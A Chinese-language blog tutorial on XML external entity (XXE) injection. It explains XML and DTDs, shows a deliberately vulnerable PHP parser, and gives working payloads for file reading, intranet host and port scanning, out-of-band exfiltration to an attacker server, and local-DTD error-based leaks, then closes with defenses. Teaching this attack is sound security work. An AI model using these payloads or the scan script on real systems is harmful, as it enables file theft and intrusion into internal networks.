欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

XXE 从入门到放弃

程序员文章站 2022-05-12 12:00:28
...

0x00 前言

如果各位表哥表姐已经懂得啥是 XML, DTD, 那么可以直接从0x02 什么是 XXE?开始看; 如果你只是大概知道啥是 XML , 那么我建议你从头开始看!

0x01 XML 与 DTD

XXE漏洞全程为XML External Entity Injection, 也就是XML外部实体注入漏洞。 显然, 这个漏洞和 XML 有关(废话), 那第一步, 先了解什么是XML

什么是XML?

百度百科

可扩展标记语言, 标准通用标记语言的子集, 是一种用于标记电子文件使其具有结构性的标记语言。

简单来说, 它是一种语言, 表现形式类似于HTML(超文本标记语言), 而XMLHTML的差别在于, HMTL是用于展示数据和页面, 而XML是为了更好的存储和传输数据。

HTML的容错能力使得格式可以 不必十分规范, 例如有时可能忘记闭合标签了也不会出错。而XML语法就严格很多。XML的语法可以参见菜鸟教程简单了解即可。

当然, 为了方面我们理解, 我们这里会简单讨论一下 xml 的构建模块, 即 xml 由什么东西组成.

所有的 XML 文档均由以下简单的构建模块构成:

  • 元素
  • 属性
  • 实体
  • DATA

元素

元素是啥没啥好讲的, 基本上就长下面的样子.

<元素名></元素名>

举个例子, 下面代码中有两个元素, bodymessge, 其中body的值是123, message的值是abc

<body>123</body>

<message>abc</message>

属性

属性可提供有关元素的额外信息

属性总是被置于某元素的开始标签中。属性总是以名称/值的形式成对出现的。下面的 “img” 元素拥有关于源文件的额外信息:

<img src="computer.gif" />

元素的名称是 “img”。属性的名称是 “src”。属性的值是 “computer.gif”。由于元素本身为空, 它被一个 " /" 关闭。

实体

实体是用来定义普通文本的变量, 在 xml 中的格式如下:

<元素名>&实体名;</元素名>

&开头, 中间是名字, 以;结尾

那怎么理解实体呢?

简单来说, 就相当于我们学 C 语言的时候, 定义一个变量, 并给该变量赋值, 以后我们就通过该变量名来引用值

举个例子, 我们在 xml 中, 定义了一个变量名为&lt;, 给他赋值为<, 那么我们使用&lt;的时候, 就相当于是用<了.

别问我为啥<的变量名叫&lt;, 问设计 xml 的大佬去!!

那么为啥不直接使用<, 而要用&lt;替代呢? 很简单, 因为<和 xml 语法规则冲突了, 解析器会把<当作新元素的开始呗. 举个例子:

正常来说, 我们在 xml 中定义一个元素如下:

<body>if salary = 1000 then</body>

现在我们要修改body的值为if salary < 1000 then, 难道我们要这样改?

<body>  if salary < 1000 then </body>

如果按照上面的改法, <都不配对了, 都不满足 xml 的元素格式了, 那么 xml 怎么可能知道你的元素是叫body, 对吧!!

所以改成下面这样子, 就不会和语法冲突了

<body>1&lt;</body>

当上面的 xml 被解析的时候, &lt;就会被替换成<

XML预定义了下面五个实体引用, 当文档被 XML 解析器解析时, 实体就会被展开。

实体引用 字符 意思
&lt; < less than
&gt; > greater than
&amp; & ampersand
&quot; " straight double quotation mark
&apos; apostrophe

当然, 最重要的一点是, 我们可以使用 DTD 声明使用实体!!, 至于 DTD 是啥, 下面会说到.

字符数据

可把数据理解为 XML 元素的开始标签与结束标签之间的文本。

除了 CDATA 区段中的文本会被解析器忽略之外, XML 文档中的其他文本均会被解析器解析

所以把数据分成可以解析的不能解析两种

PCDATA

PCDATA 的意思是被解析的字符数据(parsed character data)

PCDATA 是会被 XML 解析器解析的文本, 文本中的标签会被当作标记来处理, 而实体会被展开。

简单来说, 就是当某个 XML 元素被解析时, 其标签之间的文本也会被解析, 如下:

<message>This text is also parsed</message>

当然, 上面的 “This text is also parsed” 解析不出啥东西.

但是, 如果 XML 元素包含了其他元素, 就像下面这个实例中, 其中的 <name> 元素包含着另外的两个元素(firstlast):

<name> <first>Bill</first><last>Gates</last> </name>

解析器会把它分解为像这样的子元素:

<name>
    <first>Bill</first>
    <last>Gates</last>
</name>

也正因为如此, 如果被解析的字符数据中包含 &< 或者 > 字符之类的字符, 则需要使用 &amp;&lt; 以及 &gt; 实体来分别替换它们, 防止如<被解析成元素开头这类的错误发生

CDATA

CDATA 的意思是字符数据(character data)

在XML中, 指定某段内容不必被XML解析器解析时, 使用<![CDATA[...]]>。也就是说中括号中的内容, 解析器不会去分析。所以其中可以包含>, <, &, ', "这5个特殊字符。经常把一段程序代码嵌入到<![DATA[...]]>中。 因为代码中可能包含大量的 >, <, &, "这样的特殊字符。

例如在XML中声明:

<script>
    <![CDATA[
        if(i<10){
          printf("i<10");
        }
    ]]>
</script>

script元素的值就是那一大串的代码

什么是 DTD 文档类型定义?

XMLDTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。它使用一系列合法的元素来定义文档的结构。

DTD文件对当前XML文档中 的节点进行了定义, 这样我们加载配置文件之前, 可通过指定的DTD对当前XML中的节点进行检查, 确定XML结构和数据类型是否合法。

DTD(文档类型定义)部分, 规定了文档元素里的数据类型, 以及可以出现哪些元素DTD菜鸟教程

简单来说, DTD 就是定义了我们的 XML 长啥样子!

元素

在 DTD 中, XML 的元素通过 元素声明 来进行声明。元素声明使用下面的语法:

<!ELEMENT 元素名 类别><!ELEMENT 元素名 (子元素)>

空元素

空元素通过类别关键词 EMPTY 进行声明:

<!ELEMENT element-name EMPTY>

例子如下:

DTD:

<!ELEMENT br EMPTY>

XML:

<br/>

只有 PCDATA 的元素

只有 PCDATA 的元素通过圆括号中的 #PCDATA 进行声明:

<!ELEMENT element-name (#PCDATA)>

实例:

<!ELEMENT from (#PCDATA)>

带有任何内容的元素

通过类别关键词 ANY 声明的元素, 可包含任何可解析数据的组合:

<!ELEMENT element-name ANY>

实例:

<!ELEMENT note ANY>

带有子元素(序列)的元素

带有一个或多个子元素的元素通过圆括号中的子元素名进行声明:

<!ELEMENT element-name (child1)><!ELEMENT element-name (child1,child2,...)>

实例:

<!ELEMENT note (to,from,heading,body)>

当子元素按照由逗号分隔开的序列进行声明时, 这些子元素必须按照相同的顺序出现在文档中。在一个完整的声明中, 子元素也必须被声明, 同时子元素也可拥有子元素。“note” 元素的完整声明是:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

其他

还有其他的声明, 如声明出现零次或多次的元素等等, 请自行查看

https://www.runoob.com/dtd/dtd-elements.html

DOCTYPE

内部 DOCTYPE 声明

假如 DTD 被包含在您的 XML 源文件中, 它应当通过下面的语法包装在一个 DOCTYPE 声明中:

<!DOCTYPE root-element [element-declarations]>

带有 DTD 的 XML 文档实例如下:

<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为"#PCDATA"类型, PCDATA为字符串类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为"#PCDATA"类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

外部 DOCTYPE 声明

假如 DTD 位于 XML 源文件的外部, 那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

<!DOCTYPE root-element SYSTEM "filename">

这个 XML 文档和上面的 XML 文档相同, 但是拥有一个外部的 DTD

<?xml version="1.0"?>

<!DOCTYPE note SYSTEM "note.dtd">

<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

那个外部 DTD note.dtd文件如下

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

四种实体 Entity 声明

还记得前面讲过的&lt;这个代表>的实体吗? 现在我们可以在DTD中自定义了

内部实体

语法:

<!ENTITY 实体名称 "实体的值">

**实例: **

<!DOCTYPE foo [                <!--定义此文档是 foo 类型的文档-->
<!ELEMENT foo ANY >            <!--foo 元素是可包含任何可解析数据的组合-->
<!ENTITY xxe "Thinking">]>     <!--定义一个内部实体xxe, 值是"Thingking"-->

<foo>&xxe;</foo>

外部实体声明

**语法: ** 在DTD 中定义, 在 XML 文档中引用

<!ENTITY 实体名称 SYSTEM "URI/URL">

**实例: **

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "http://www.runoob.com/entities.dtd">]> <!--个人的理解是将 http://www.runoob.com/entities.dtd 的dtd 文件包含进当前文件里, 类似于 php的文件包含-->
<reset>
  <login>&test;</login>
  <secret>login</secret>
</reset>

上述两种均为引用实体, 主要在XML文档中被应用, 引用方式:&实体名称; 末尾要带上分号, 这个引用将直接转变成实体内容。

可以看出, 外部实体是可以访问外部dtd文件的, 而外部实体注入攻击正是利用了这一 点。

参数实体声明

**语法: **

<!ENTITY % 实体名称 "实体的值">
<!ENTITY % 实体名称 SYSTEM "URI/URL">
  1. 参数实体, 使用 % 实体名(这里面空格不能少) 在 DTD 中定义, 并且只能在 DTD 中使用 %实体名; 引用
  2. 参数实体也可以外部引用, 允许包含外部实体, 就可能存在XXE 攻击

**实例: **

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [
<!ENTITY % body SYSTEM "http://www.runoob.com/entities.dtd" >
<!ENTITY xxe "%body;">
]>
<reset>
  <secret>login</secret>
</reset>

参数实体在我们 Blind XXE 中起到了至关重要的作用

外部引用可支持http, file等协议, 不同的语言支持的协议不同, 但存在一些通用的协议, 具体内容如下所示:

XXE 从入门到放弃

公共实体声明

**语法: **

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

0x02 什么是 XXE?

假设有个应用有一个很简单的功能, html 有个表单提交, 如下:

<login>
  <user>admin</user>
  <pass>123</pass>
</login>

服务端接收该 xml 之后, 将其中的用户名和密码解析出来

<?php
    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    echo "Username: ".$creds->user."</br>";
	echo "Password: ".$creds->pass;
?>

XXE 从入门到放弃

当然这是正常的操作, 如果我是黑客, 我们会怎么做呢? 给这个 xml 加上一段 dtd, 让 xml 解析器我们引入的外部实体, 这样子, 我们想读哪个文件, 就读哪个文件

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///e:/flag.txt" >]>
<login>
  <user>&xxe;</user>
  <pass>mypass</pass>
</login>

XXE 从入门到放弃

这就是所谓的 XXE, xml 外部实体注入攻击!

0x03 由浅入深理解XXE的利用方式

到此, 已经了解了什么是XML, 什么是DTD, 以及一个XXE的基本流程是什么样的。由于是一种代码注 入, 必然需要去了解语法知识, 理解payload的构造方式。

有回显的XXE

1. 读取本地文件

在本地里建立一个flag.txt看看效果。

XXE 从入门到放弃

xxe.php内容如下

<?php
    libxml_disable_entity_loader (false);        // 若为true, 则表示禁用外部实体
    $xmlfile = file_get_contents('php://input'); // 可以获取POST来的数据
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    echo $creds;
?>

XXE 从入门到放弃

构造payload发送

<?xml version="1.0"?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "file:///e://flag.txt">
]>
<hack>&file;</hack>

结果如下图:

XXE 从入门到放弃

2. 读取含有特殊字符的本地文件

因为这个flag.txt文件没有什么特殊符号, 于是我们读取的时候可以说是相当的顺利, 我要是给这个文件加上一些特殊字符呢?

# /etc/fstab: static file system information.
# # <file system> <mount point> <type> <options> <dump> <pass>
proc	/proc	proc defaults	0	0 /dev/hda2	/
ext3	defaults,errors=remount-ro 0	1 ...
flag{This_is_flag}

XXE 从入门到放弃

我们试一下, 结果如下图:

XXE 从入门到放弃

可以看到, 不但没有读到我们想要的文件, 而且还给我们报了一堆错, 怎么办?

因为我们用的是 PHP, 自然而然的想到了 PHP 的伪协议:

<?xml version="1.0"?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=e://flag.txt">
]>
<hack>&file;</hack>

效果如下:

XXE 从入门到放弃

IyAvZXRjL2ZzdGFiOiBzdGF0aWMgZmlsZSBzeXN0ZW0gaW5mb3JtYXRpb24uDQojICMgPGZpbGUgc3lzdGVtPiA8bW91bnQgcG9pbnQ+IDx0eXBlPiA8b3B0aW9ucz4gPGR1bXA+IDxwYXNzPg0KcHJvYwkvcHJvYwlwcm9jIGRlZmF1bHRzCTAJMCAvZGV2L2hkYTIJLw0KZXh0MwlkZWZhdWx0cyxlcnJvcnM9cmVtb3VudC1ybyAwCTEgLi4uDQpmbGFne1RoaXNfaXNfZmxhZ30=

拿去 base64 解码就可以看到内容了

那除了 php 伪协议, 还有啥完全之策没有? 这个时候就要祭出我们讲到的一个神器了------CDATA

CDATA用处是万一某个标签内容包含特殊字符或者不确定字符, 我们可以用 CDATA 包起来

那我们把我们的读出来的数据放在 CDATA 中输出就能进行绕过, 但是怎么做到, 我们来简答的分析一下:

首先, 找到问题出现的地方, 问题出现在

<!DOCTYPE hack [
<!ENTITY file SYSTEM "file:///e://flag.txt">
]>
<hack>&file;</hack>

引用了可能会引起 xml 格式混乱的字符(在XML中, 有时实体内包含了些字符, 如&,<,>,",'等。这些均需要对其进行转义, 否则会对XML解释器生成错误), 我们想在引用的两边加上 <![CDATA[]]>,但是好像没有任何语法告诉我们字符串能拼接的, 于是我想到了能不能使用多个实体连续引用的方法

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hack [
<!ENTITY start "<![CDATA[">
<!ENTITY file SYSTEM "file:///e://flag.txt">
<!ENTITY end "]]>"> ]>
<hack>&start;&goodies;&end;</hack>

结果如下图:

XXE 从入门到放弃

注意, 这里面的三个实体都是字符串形式, 连在一起居然报错了, 这说明我们不能在 xml 中进行拼接, 而是需要在拼接以后再在 xml 中调用, 那么要想在 DTD中拼接, 我们知道我们只有一种选择, 就是使用参数实体

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hack [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///e:/flag.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://localhost:8081/test/evil.dtd"> 
%dtd; ]>

<hack>&all;</hack>

evil.dtd

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">

XXE 从入门到放弃

我们先简单分析一下这段 payload

  1. <!DOCTYPE hack 定义此文档是 hack 类型的文档

  2. 然后声明三个参数实体: start, goodies, end, 其中goodies的值是flag.txt文件的内容

  3. 接着声明外部参数实体dtd

  4. 然后调用了%dtd;, 即会访问http://localhost:8081/test/evil.dtd, 声明了一个实体all, 其值是那三个实体的调用

  5. 到此, 声明了一大坨的实体, 就调用了dtd那个实体

  6. 最后在 xml 中调用了all实体 -> 调用那三个实体中的start->start被替换成<![CDATA[-> 调用goodies -> goodies被替换成 flag.txt 的内容-> 调用end->end被替换成]]>-> 然后三个替换的值拼接在一起 -> all被替换成拼接在一起的值

  7. 现在的 xml 变成如下的样子

    <hack>
    <![CDATA[
        flag.txt 文件的内容
    ]]>
    </hack>
    
  8. 因为我们的 php 代码的意思是要将解析出来的内容输出, 所以页面会输出 hack 之间的内容

结果如下图:

XXE 从入门到放弃

3. 内网主机探测

我们以存在 XXE 漏洞的服务器为我们探测内网的支点。

要进行内网探测我们还需要做一些准备工作, 我们需要先利用 file 协议读取我们作为支点服务器的网络配置文件, 看一下有没有内网, 以及网段大概是什么样子

以linux 为例, 我们可以尝试读取 /etc/network/interfaces 或者 /proc/net/arp或者 /etc/host 文件以后我们就有了大致的探测方向了

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.82.135"> ]>
<creds>&goodies;</creds>

根据响应的时间的长短判断主机是否存在, 可以通过burp重放遍历端口

下图可以看到, 因为192.168.82.135是我的 xp 虚拟机, 然后可以看到响应时间是968ms

XXE 从入门到放弃

然后将 ip 改成不存在的192.168.82.136, 发现响应时间变成了20.97s

XXE 从入门到放弃

下面是一个探测脚本的实例:

import requests
import base64

#Origtional XML that the server accepts
#<xml>
#    <stuff>user</stuff>
#</xml>


def build_xml(string):
    xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
    xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
    xml = xml + "\r\n" + """<xml>"""
    xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""
    xml = xml + "\r\n" + """</xml>"""
    send_xml(xml)

def send_xml(xml):
    headers = {'Content-Type': 'application/xml'}
    # 这里的超时设置成 5s, 可以根据实际情况修改
    x = requests.post('http://localhost:8081/test/xxe.php', data=xml, headers=headers, timeout=5).text
    coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
    print coded_string
#   print base64.b64decode(coded_string)
for i in range(1, 255):
    try:
        i = str(i)
        ip = '10.0.0.' + i
        string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
        print string
        build_xml(string)
    except:
continue

4. 内网主机端口探测

找到了内网的一台主机, 想要知道攻击点在哪, 我们还需要进行端口扫描, 端口扫描的脚本和主机探测的脚本几乎没有什么变化, 只要把 ip 地址固定, 然后循环遍历端口就行了

这里为了方便演示, Metasploitable2 启动!!

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.82.136:22"> ]>
<creds>&goodies;</creds>

XXE 从入门到放弃

根据响应的时间的长短判断端口是否开放, 可以通过burp重放遍历端口;如果有报错, 可以直接探测出banner信息。

5. 内网系统源码探测

这里演示用 dvwa 的 login.php 页面

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.82.136/dvwa/login.php"> ]>
<creds>&goodies;</creds>

XXE 从入门到放弃

base64 解码如下:



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

	<head>

		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

		<title>Damn Vulnerable Web App (DVWA) - Login</title>

		<link rel="stylesheet" type="text/css" href="dvwa/css/login.css" />

	</head>

	<body>

	<div align="center">
	
	<br />

	<p><img src="dvwa/images/login_logo.png" /></p>

	<br />
	
	<form action="login.php" method="post">
	
	<fieldset>

			<label for="user">Username</label> <input type="text" class="loginInput" size="20" name="username"><br />
	
			
			<label for="pass">Password</label> <input type="password" class="loginInput" AUTOCOMPLETE="off" size="20" name="password"><br />
			
			
			<p class="submit"><input type="submit" value="Login" name="Login"></p>

	</fieldset>

	</form>

	
	<br />

	

	<br />
	<br />
	<br />
	<br />
	<br />
	<br />
	<br />
	<br />	

	<!-- <img src="dvwa/images/RandomStorm.png" /> -->
	
	<p>Damn Vulnerable Web Application (DVWA) is a RandomStorm OpenSource project</p>
<p>Hint: default username is 'admin' with password 'password'	</p>
	</div> <!-- end align div -->

	</body>

</html>

无回显 XXE

1. 外带数据读取文件

如果没有回显, 我们如何获得外带出获得数据呢?

首先, 我们设置一个变量 %file 用来承接读取到的内容

接着, 对我们的vps服务器发起一次get请求, 并且拼接上数据去请求, 不就可以外带数据了吗?

按照思路, 我们可以构造如下语句, 似乎没啥毛病?

<?xml version="1.0"?>
<!DOCTYPE hack [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///e:/flag.txt">
    <!ENTITY % send SYSTEM "http://192.168.82.131/?%file">
    %send;
]>

但是实际上上面语句是不正确的, 由于同级的参数不会被解析, 所以不行

XXE 从入门到放弃

所以考虑一下嵌套, 于是构造如下语句, 可是还是报错了。

<?xml version="1.0"?>
<!DOCTYPE hack [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///e:/flag.txt">
    <!ENTITY % exp "<!ENTITY &#37; send SYSTEM 'http://192.168.82.131/?%file;'>">
    %exp;
    %send;
]>

嵌套的%需要进行实体编码: https://www.css-js.com/tools/unicode.html 或者去 http://www.howtocreate.co.uk/sidehtmlentity.html 查询, 这里%可以转换成十六进制的&#x25, 也可转出成十进制的&#37

XXE 从入门到放弃

在内部DTD里, 参数实体引用只能和元素同级而不能直接出现在元素声明内部, 否则 XML 解析器会报错

XXE 从入门到放弃

也就是说 %file 是参数实体引用不可以出现在exp元素声明的内部

于是将

<!ENTITY % exp "<!ENTITY &#37; send SYSTEM 'http://192.168.82.131/?%file;'>">
%exp;

写在可控的服务器上, 这里我写在本地的 kali 上

XXE 从入门到放弃

然后将 payload 改成如下:

<?xml version="1.0"?>
<!DOCTYPE hack [
    <!ENTITY % get SYSTEM "http://192.168.82.131/a.dtd">
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///e:/flag.txt">
    %get;
    %send;
]>

先引用了%get对象, 发起请求, 加载了a.dtd, 而a.dtd中声明并引用了%exp, 接在exp里声明了send, 最后send里有file

XXE 从入门到放弃

可以看到服务器有两条记录, 首先是先获取a.dtd, 然后第二次又发起了一次请求, 外带出了数据

XXE 从入门到放弃

2. 如果无法访问外部的DTD文件怎么办?

上述的方法, 是远程加载了一个DTD文件。如此做的原因在于参数实体引用只能和元素同级而不能直接出现在元素内部

我们将如下语句写在了可控的服务器上, 进行远程获取, 这样就避免了这个问题。

<!ENTITY % exp "<!ENTITY &#37; send SYSTEM 'http://192.168.82.131/?%file;'>">
%exp;

同理, 那么只要引入一个文件, 不管是本地还是远程文件, 目的是在于绕过上述限制。于是我们可以引用本地的dtd文件重写里面的DTD实体, 即可达到和上述一样的效果 。

如果发现任何DTD文件已经存在于目标服务器文件系统的某个位置, 该文件由参数实体(例如<!ENTITY % injectable "something">)组成, 并且在该DTD本身的某个位置被引用(例如<!ENTITY % random (%injectable;)>)。然后, 我们基本上可以覆盖该实体的内容, 而只需在OOB 中的外部 evil.dtd 中编写将要执行的操作。

例如如果服务器上存在/usr/share/xyz/legit.dtd:

..
<!ENTITY % injectable "something">
..
<!ENTITY % random (%injectable;)>
..
..

如果您在XXE中添加以下内容:

<!DOCTYPE xxe[
<!ENTITY x SYSTEM "file:///usr/share/xyz/legit.dtd">
<!ENTITY % injectable 'injecting)> You Control Contents inside this DTD now!!! <!ENTITY % fake ('>
%x;
]>
<root>
..
</root>

然后, 解析的XML内容将从现在 <!ENTITY % random (%injectable;)>变为 <!ENTITY % random (injecting)> You Control Contents inside this DTD now!!! <!ENTITY % fake ()>

因为我们在 Windows 环境下, 所以, 我们可以找C:/WINDOWS/system32/wbem/xml/cim20.dtd这个 dtd 文件

打开这个文件, 可以找到一个参数实体SuperClass的定义

XXE 从入门到放弃

和它的调用

XXE 从入门到放弃

所以, payload 应该长这个样子

<!ENTITY % local_dtd SYSTEM "file:///C:/WINDOWS/system32/wbem/xml/cim20.dtd">
<!ENTITY % SuperClass '>这里填 DTD 代码<!ENTITY test "test"'>
%local_dtd;

下面的 payload 利用了报错, 传入一个不存在的文件路径abcxyc爆出了内容:

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///C:/WINDOWS/system32/wbem/xml/cim20.dtd">
    <!ENTITY % SuperClass '>
        <!ENTITY &#x25; file SYSTEM "php://filter/read=convert.base64encode/resource=file:///e:/flag.txt">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
    <!ENTITY test "test"'>
    %local_dtd;
]>
<message>any text</message>

XXE 从入门到放弃

本地 dtd 文件

Linux 系统
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;

payload一般如下:

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
        <!ENTITY % file SYSTEM "file:///flag">
        <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
        %eval;
        %error;
    '>
    %local_dtd;
]>
Windows系统
<!ENTITY % local_dtd SYSTEM "file:///C:/WINDOWS/system32/wbem/xml/cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
思科WebEx
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
Citrix XenMobile服务器
<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
多平台IBM WebSphere应用
<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd">
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;

0x04 XXE 如何防御

方案一:使用语言中推荐的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二:手动黑名单过滤(不推荐)

过滤关键词:

<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

参考链接

https://xz.aliyun.com/t/3357

https://www.cnblogs.com/flokz/p/xxe.html

https://xz.aliyun.com/t/6913

相关标签: 信息安全